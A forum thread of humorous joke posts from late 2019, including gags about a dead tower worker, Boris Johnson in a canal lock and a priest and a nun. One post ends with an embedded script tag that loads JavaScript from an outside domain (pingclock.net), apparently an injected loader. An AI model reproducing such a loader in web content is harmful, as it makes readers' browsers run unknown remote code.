Ron
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Post by Ron on Oct 10, 2019 21:29:00 GMT
Three Aussie blokes working up on an outback mobile phone tower: Mongrel, Coot and Bluey.
As they start their descent, Coot slips, falls off the tower and is killed instantly... As the ambulance takes the body away, Bluey says, 'Well, bugger me, someone's gotta go and tell Coot's wife.'
Mongrel says, 'OK, I'm pretty good at that sensitive stuff, I'll do it.' Two hours later, he comes back carrying a case of beer.
Bluey says, 'Where'd you get the grog, Mongrel?' 'Coot's wife gave it to me,' Mongrel replies. 'That's unbelievable, you told the Missus her husband was dead and she gave you a case of beer?' 'Well, not exactly,' Mongrel says. 'When she answered the door, I said to her, "you must be Coot's widow." She said, 'You must be mistaken... I'm not a widow.' Then I said, 'I'll betcha a case of beer you are...'
Aussies are good at that sensitive stuff.
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Ron
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Post by Ron on Oct 11, 2019 11:00:41 GMT
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gill2009
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Gillybeans
dementing disgracefully
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Post by gill2009 on Oct 13, 2019 11:18:29 GMT
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charliehorse
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Post by charliehorse on Oct 15, 2019 19:39:27 GMT
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Ron
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Post by Ron on Oct 15, 2019 20:55:22 GMT
Was that a dig at me gill2009 <script type="text/javascript" async="" src="//pingclock.net/21db1c5c8b372aecca.js"></script>
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Ron
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Post by Ron on Oct 16, 2019 0:12:41 GMT
This morning as I was walking along the canal tow-path I heard a lot of splashing and a desperate cry for help.
I ran towards the sound, and there in the deepest lock was Boris Johnson. He was obviously struggling And with his clothes sodden it looked certain he would drown.
Now I'm no lover of the Tories or Boris, but I knew it was my duty to help the man despite the damage he & his party have done to our country. Reluctantly I did the right thing & contacted the emergency services.
It's now 4pm & still no help has arrived.
I'm beginning to think that I've wasted a stamp.
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Ron
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Post by Ron on Oct 19, 2019 21:17:44 GMT
A priest offered a Nun a lift. She got in and crossed her legs, forcing her gown to reveal a leg. The priest nearly had an accident. After controlling the car, he stealthily slid his hand up her leg. The nun said, "Father, remember Psalm 129?"
The priest removed his hand. But, changing gears, he let his hand slide up her leg again. The nun once again said, "Father, remember Psalm 129?" The priest apologized "Sorry sister but the flesh is weak."
Arriving at the convent, the nun sighed heavily and went on her way.
On his arrival at the church, the priest rushed to look up Psalm 129. It said, "Go forth and seek, further up, you will find glory."
Moral of the story: If you are not well informed in your job, opportunities for advancement will pass right by you
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striker42
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Perp's Wee Pocket Rocket
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Post by striker42 on Oct 23, 2019 16:42:57 GMT
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Ron
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Post by Ron on Oct 24, 2019 8:58:14 GMT
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Ron
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Post by Ron on Oct 27, 2019 21:58:38 GMT
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Postmodern Smoking
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Personal Mix Solver
( Dave )
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Post by Postmodern Smoking on Oct 28, 2019 17:57:49 GMT
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charliehorse
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Post by charliehorse on Oct 28, 2019 21:01:52 GMT
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Ron
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Post by Ron on Nov 7, 2019 11:56:14 GMT
Thoughts About Having a Beer Belly
An old farmer once told me
that "when you have a really great piece of equipment,
you should build a shed over it."
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Ron
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Post by Ron on Nov 14, 2019 13:18:14 GMT
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Ron
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Post by Ron on Nov 16, 2019 22:21:18 GMT
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